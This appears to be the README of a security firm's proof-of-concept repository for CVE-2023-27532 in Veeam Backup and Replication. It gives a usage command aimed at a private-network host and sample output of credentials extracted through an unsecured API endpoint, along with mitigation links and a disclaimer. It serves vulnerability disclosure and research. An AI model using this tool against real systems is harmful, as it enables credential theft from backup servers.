CVE-2023-27532

POC for CVE-2023-27532 affecting Veeam Backup and Replication

Technical Analysis

A technical root cause analysis of the vulnerability can be found on our blog: https://www.horizon3.ai/veeam-backup-and-replication-cve-2023-27532-deep-dive

Summary

This POC abuses an unsecured API endpoint to extract credentials.

Usage

/home/dev/RiderProjects/Veeam_CVE-2023-27532/CVE-2023-27532/bin/Debug/net6.0/CVE-2023-27532 net.tcp://192.168.1.139:9401/
UserName = dev Password = Super Secret Password 
UserName = root Password =  
UserName = root Password =  
UserName = root Password =  
UserName = root Password =  

Mitigations

Update to the latest version or mitigate by following the instructions within the Veeam Advisory

• https://www.veeam.com/kb4424

Follow the Horizon3.ai Attack Team on Twitter for the latest security research:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.